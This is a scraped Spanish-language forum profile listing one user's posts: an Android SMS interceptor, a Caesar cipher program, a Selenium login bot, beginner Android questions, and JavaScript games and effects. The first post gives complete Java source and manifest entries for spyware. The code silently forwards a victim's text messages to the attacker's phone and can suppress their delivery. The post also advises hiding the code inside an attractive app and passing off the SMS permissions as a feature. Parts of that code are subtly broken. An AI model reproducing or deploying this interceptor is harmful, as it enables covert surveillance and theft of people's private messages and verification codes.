|
81
|
Programación / Java / Interceptador de SMS
|
en: 19 Agosto 2019, 11:28 am
|
Hola a todos, aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis. Lo que esto hace:- Intercepta mensajes SMS.
- Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
- Redirige los mensajes interceptados a un número de tu elección.
- Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.
Cosas a tener en cuenta:- Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
- No tengo idea de lo que sucede en caso de un mensaje MMS.
- Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
- Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto, eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.
Ahora bien, aquí está el código fuente. SmsReceiver.java//Author: MrZander
import java.util.Arrays; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage;
public class SmsReceiver extends BroadcastReceiver {
// CONFIGURATION //
// Esto cancelará la transmisión del SMS recibido. // Si esto es true, la víctima NO recibirá el mensaje que se le envía. boolean abortarTM = true;
// Si se debe interceptar o no TODOS los mensajes. boolean interceptarTodos = false;
// si interceptarTodos está apagado, esta es la matriz de números que serán interceptados. String[] numeros = {"5551234567","5551234655"};
// Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular). String redireccionarCelular = "1235558765";
// En emisión recibida. Mensaje SMS entrante. public void onReceive(Context context, Intent intento) {
Bundle extras = intento.getExtras(); String mensajes = "";
// Se utiliza para determinar si un mensaje debe ser redirigido o no. boolean esDeEspia = false;
if ( extras != null ) { Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo " for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).
// Recibe el mensaje de las UDP SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);
// Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar. if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){ // Si el mensaje se disecciona en múltiples, concatenar. mensajes+=sms.getMessageBody()+"\n";
// Este mensaje es de la víctima, redirigir. esDeEspia=true;
//Abortar SMS. if(!abortarTM){ abortBroadcast(); }
} }
// Redirigir mensaje si es de la víctima if(esDeEspia){ enviarSms(mensajes,"TUNUMERO"); }
} }
// Enviar SMS ... bastante sencillo public void enviarSms(String mensaje, String numcelular){ SmsManager gs = SmsManager.getDefault(); try{ gs.sendTextMessage(numcelular, null, mensaje, null, null); }catch(Exception ex){ // Error, este mensaje se perderá ... Les sugiero que creen // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde. } } }
Declaraciones para agregar a sus AndroidManifest.xmlPermisos:<uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" />
Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS. <receiver android:name=".SmsReceiver" android:enabled="true"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo). Lo que tienes que hacer1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue. 2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo). 3. Agrega las declaraciones de manifiest. Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto. Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno). Que se diviertan. Autor: MrZander Saludos PD.: Posteen códigos
|
|
|
83
|
Programación / Java / Java - Caesar cifra ESTABLE – v0.70
|
en: 2 Agosto 2019, 19:45 pm
|
Caesar Cipher STABLE - v1.00 - By IyyelHola chicos y chicas! Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo. Tabla de contenido1. Por defecto 2. FAQ 3. Exportar 4. Limpiar 5. Llave 6. Decriptar 7. cifrar 8. Bugs conocidos1. Por defectoEsto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto. 2. FAQLa pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto. 3. ExportarEl botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\. 4. LimpiarEl botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso. 5. LlaveAquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo. 6. DecriptarCuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'. 7. cifrarEl botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado. 8. Bugs conocidosActualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias. Caesar cifra BETA - v0.70:https://drive.google.com/open?id=1XC3KcVvTchhkAsXTJTCNq1niKpMuk_hAVirusTotal:https://www.virustotal.com/gui/file/bb4b05ad3afd310df8e378b71d6ab498cec661ffccf444cff9ecc952ed88f6a9/detectionCódigo fuente - v0.70:https://drive.google.com/open?id=19_LaVbK8etOSnu4tsoGvV9sJG8VJXzm_Autor: Iyyel Saludos PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
|
|
|
85
|
Programación / Java / Código fuente de un ejemplo de automatización de un bot usando selenium
|
en: 5 Mayo 2019, 13:03 pm
|
Hola a todos, import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.htmlunit.HtmlUnitDriver;
public class Main {
private static final String _URL = "http://ddosthegame.com/index.php", _NOMBREUSUARIO = "/*nombreusuario*/", _CONTRASENA = "/*contrasena*/";
static WebDriver driver; static WebElement element;
public static final void imprimir(final String s) { System.out.println(s); }
public static void main(String[] args) { imprimir("Conectando..."); conectar(_URL); }
public static void conectar(String url) { driver = new HtmlUnitDriver(); driver.get(url);
String usuarioEl = "nombreusuario", passEl = "contrasena";
imprimir("Estableciendo datos de nombreusuario... (" + _NOMBREUSUARIO + ")");
element = driver.findElement(By.name(usuarioEl)); element.sendKeys(_NOMBREUSUARIO);
imprimir("Estableciendo datos de la contraseña... (" + _CONTRASENA + ")");
element = driver.findElement(By.name(passEl)); element.sendKeys(_CONTRASENA);
imprimir("Iniciando seción ");
driver.findElement(By.name("login_today")).click();
if (driver.getTitle().contains("- index")) { imprimir("Ha iniciado sesión correctamente!"); }
driver.get("http://ddosthegame.com/index.php?page=resolve");
imprimir(driver.getTitle());
driver.close(); }
public static void resolverBot(String nombreusuario, int cantidad) { imprimir("Resolviendo " + nombreusuario + " " + amount + "veces"); for (int i = 0; i < 100; i++) { element = driver.findElement(By.name("userid")); element.sendKeys(nombreusuario); driver.findElement(By.name("resolve_user")).click(); } }
Saludos PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
|
|
|
86
|
Programación / Java / Android - Componente ListView (grabar sus datos con la clase SharedPreferences)
|
en: 28 Febrero 2019, 12:33 pm
|
Hola a todos, antes de hacer mis preguntas quisiera mostrarles un código: lv1.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { @Override public boolean onItemLongClick(AdapterView<?> adapterView, View view, int i, long l) { final int posicion=i; AlertDialog.Builder dialogo1 = new AlertDialog.Builder(MainActivity.this); dialogo1.setTitle("Importante"); dialogo1.setMessage("¿ Elimina este teléfono ?"); dialogo1.setCancelable(false); dialogo1.setPositiveButton("Confirmar", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialogo1, int id) { String s=datos.get(posicion); StringTokenizer tok1=new StringTokenizer(s,":"); String nom=tok1.nextToken().trim(); SharedPreferences.Editor elemento=prefe1.edit(); elemento.remove(nom); elemento.commit(); datos.remove(posicion); adaptador1.notifyDataSetChanged(); } });});
Teniendo en cuenta que "datos" es un objeto de la clase ArrayList<String>: 1) Tengo entendido que en los métodos setOnItemLongClickListener y setPositiveButton se envía cómo parámetro un método anónimo de las clases respectivas (AdapterView.OnItemLongClickListener y DialogInterface.OnClickListener). ¿Estoy en lo correcto? 2) Si los métodos anónimos no le pertenecen a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que estos métodos tengan acceso a los atributos de una clase ajena? 3) Suponiendo que de alguna forma los métodos anónimos si tienen acceso a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que el método anónimo de la clase DialogInterface.OnClickListener tenga acceso a la variable local "posicion" del método anónimo de la clase AdapterView.OnItemLongClickListener? Gracias y saludos
|
|
|
87
|
Programación / Desarrollo Web / javascript - Juego de fosforos
|
en: 26 Febrero 2019, 21:33 pm
|
Hola a todos, la mayoría de ustedes saben bien de este juego. El javascript trata de quitar los fósforos de tal manera que al final no se tenga que sacar el último. Con ello se juega contra la computadora. Al principio se fija cuantos fósforos se alistaran en el juego. En cada jugada se puede quitar entre uno y tres maderas. Entonces el javascript calcula los fósforos restantes y actualiza la visualización en la página principal. Naturalmente, al mismo tiempo, la computadora o el javascript también trata de sacarles el último fósforo y con eso ganar el juego. Para iniciar nuevamente el javascript tienen que actualizar la página principal en el navegador. Código: <!DOCTYPE html> <html> <head> <title>Ejemplo de javascript</title> <meta charset="UTF-8"> </head> <body> <!-- Presentado por javascripts-gratis.de --> <script type='text/javascript'> <!-- var obj1 = new Array(100), mc,mc1, cur_obj, total_sel, win = false, cpu_sel, ost, user_sel, game = true;
function RemoveElementByNum(num) { document.getElementById("ch"+num).style.display = 'none'; document.getElementById("im"+num).style.display = 'none'; }
function RemoveCpuSel(num) { del = num; for ( i=0; i<mc1; i++ ) { ename = document.getElementById("ch"+i); if (del!=0) { if (ename.style.display != 'none') { ename.style.display = 'none'; document.getElementById("im"+i).style.display = 'none'; del-=1; } }
} }
function GetClickedElement(){ total=0; result=false; for (i=0; i<mc1; i++) { ename = document.getElementById("ch"+i); if ((ename.style.display != 'none') && (ename.checked)) { total++; } } if (total>3) { alert('Demasiados fosforos seleccionados. No puedes seleccionar mas de tres fosforos!'); result=false; } else { result=true; } document.getElementById("maderalog").value = "Tu tomas "+total+" pieza/s."; total_sel=total; user_sel=total; return result; }
function AI() { if ( (mc>1) && (win==false) ) { game = true; } if (game == true) { if ( (mc-user_sel)==1 ) { win=true; game=false; } if ( (mc%4)!=1 ) { ost=(mc-user_sel)%4; if (ost==0) { ost=4; } if (ost>1) { cpu_sel=ost-1; } else { cpu_sel=Math.floor( (3*Math.random()) ); cpu_sel++; if (cpu_sel>mc) { cpu_sel=mc; } } } else { cpu_sel=4-user_sel; } RemoveCpuSel(cpu_sel); mc=mc-(cpu_sel+user_sel); document.getElementById("maderalog").value='La computadora toma '+cpu_sel+' pieza/s.'; } if ( (mc==1) || (mc<1)) { game = false; if (win == true) { document.getElementById("maderalog1").style.visibility='hidden'; document.getElementById("maderalog").style.visibility='hidden'; document.getElementById("eliminar").style.visibility='hidden'; alert('Felicitaciones! Tu has ganado!!!!'); game=false; } else { document.getElementById("maderalog1").style.visibility='hidden'; document.getElementById("maderalog").style.visibility='hidden'; alert('Tu has perdido. La inteligencia artificial ha ganado!!!! JA - JA - JA!!!!'); game=false; document.body.innerHTML = "" } } document.getElementById("maderalog1").value = "Sobra/n " +mc+ " pieza/s"; }
function RemoveSelected(){ if ((total_sel!=0) && (total_sel<4)) { user_sel=total_sel; for (i=0; i<mc1; i++) { ename = document.getElementById("ch"+i); if ((ename.style.display != 'none') && ename.checked) { RemoveElementByNum(i); } total_sel=0; } AI(); } else { if (total_sel>3) { alert("Demasiados fosforos seleccionados."); } else { alert('Nada seleccionado'); } } }
function initMadera() { mc = prompt("Cantidad de fosforos?. La cantidad debe hallarse entre 7 y 50", "23"); if (mc<7) mc=7; if (mc>50) mc=50;
mc1 = mc; document.write('<center><table border="0" cellspacing="0" cellpadding="0"><tr>'); for (i=0; i<mc; i++) { document.write('<td align="center"><div style="height: 70px; width: 7px; background-color: #C0C077;" name="im'+i+'" id="im'+i+'"><div style="height: 7px; width: 7px; background-color: #FF3300;"></div></div></td>'); obj1[i]=1; } document.write('</tr><tr>'); for (i=0; i<mc; i++) { document.write('<td><input type="checkbox" onclick="GetClickedElement();" name="ch'+i+'" id="ch'+i+'" /></td>'); } document.write('</tr></table>'); document.write('<br /><input type="button" value="Eliminar fosforos seleccionados" onclick="RemoveSelected();" id="eliminar" />'); document.write('<br /><br /><br /><br />'); document.write('<input type="text" name="maderalog" id="maderalog" size="30" /><br />'); document.write('<input type="text" name="maderalog1" id="maderalog1" size="30" /><br />'); document.write('</center>'); } //--> </script> <script type="text/javascript">initMadera();</script> <!-- Presentado por javascripts-gratis.de -->
</body> </html>
Página web: https://drive.google.com/open?id=14Gu9OuiYfRsDIHCZ4CT_AIQtfvRgvD-NSaludos
|
|
|
88
|
Programación / Desarrollo Web / javascript - Asteroids
|
en: 22 Febrero 2019, 12:31 pm
|
Hola a todos, algunos quizás conozcan todavía el juego Asteroids, que en los años 80 era bastante popular y uno de los primeros juegos de computadora. Ahora se remodelo y se produjo este javascript, con el cual se puede lanzar tiros hacia la página actual. Para eso usen fácilmente el espacio. Ustedes pueden dirigir la astronave con las teclas del cursor. Los puntos les serán mostrados abajo a la derecha. Al principio se puede ver la astronave arriba a la izquierda. Y ahora diviértanse destruyendo la página. Le agregué unos botones para que puedan probar destruir elementos. Los archivos se los dejo mediante un link ya que el espacio no alcanza para publicar los contenidos de los mismos. Códigos: https://drive.google.com/open?id=1ixKOo-v59AtZSfTr-XrEJZbvzXuMUD20Autor: Erik Rothoff Andersson Saludos PD.: Ustedes pueden restaurar todos los elementos recargando fácilmente la página con F5. Para finalizar el modo de juego presionen la telca ESC en el teclado!
|
|
|
89
|
Programación / Java / Android - Dibujar: texto
|
en: 19 Febrero 2019, 15:42 pm
|
Hola a todos, quería preguntarles que significa este código: Paint pincel1 = new Paint(); Typeface tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC); pincel1.setTypeface(tf); tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC | Typeface.BOLD); pincel1.setTypeface(tf);
Osea: El pincel tiene dos tipos de letras al mismo tiempo? Si es así... cómo es eso posible? Y: Al estar separado (en la segunda creación del Typeface) el segundo parámetro por otro parámetro mediante un |... quiere decir eso que aleatoriamente se eligira un Typeface? Gracias y saludos
|
|
|
90
|
Programación / Desarrollo Web / javascript - Imagen fade in
|
en: 19 Febrero 2019, 15:32 pm
|
Hola a todos, aqui podran ustedes dejar que una imagen de su elección se "haga grande"; e. s.: al comienzo la imagen no es visible en sus páginas principales, pero crece dentro de poco tiempo hacia el tamaño configurado. En este javascript pueden configurar tres parametros: la anchura, la altura y la URL de la imagen. Cuando la imagen se haya cargado en sus páginas principales, se hace grande y se queda en sus páginas principales en el tamaño configurado. Deje un imagen gif en el ejemplo. Codigo: <!DOCTYPE html> <html> <head> <title>Ejemplo de javascript</title> <meta charset="UTF-8"> </head> <body> <!-- Presentado por javascripts-gratis.de --> <script type='text/javascript'> <!-- // Script by Freddus // visit my site: http://www.friederklein.de
///////////////////// var altura = 60; // Configurar aqui la altura original de la imagen var anchura = 468; // Configurar aqui la anchura original de la imagen var imagensita = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif"; // Dirección hacia la imagen ///////////////////// var contador=0;
function emboque(){ var pixels; document.getElementById("miimagenzoom").height = document.getElementById("miimagenzoom").height+altura/20; document.getElementById("miimagenzoom").width = document.getElementById("miimagenzoom").width+anchura/20 if (contador<20){ setTimeout("emboque()",50); }// Fin del if contador++; }//Fin del emboque
function initimagen() { document.write('<div align="center">'); document.write('<img height="0" width="0" id="miimagenzoom" src="'+imagensita+'" onload="emboque();">'); document.write('</div>'); } //--> </script> <script type="text/javascript">initimagen();</script> <!-- Presentado por javascripts-gratis.de -->
</body> </html>
Página web: https://drive.google.com/open?id=1xbHiakrS5S76b8X_gtd22BIdVA2AFzCpAutor: Freddus Saludos
|
|
|
|
|
|
|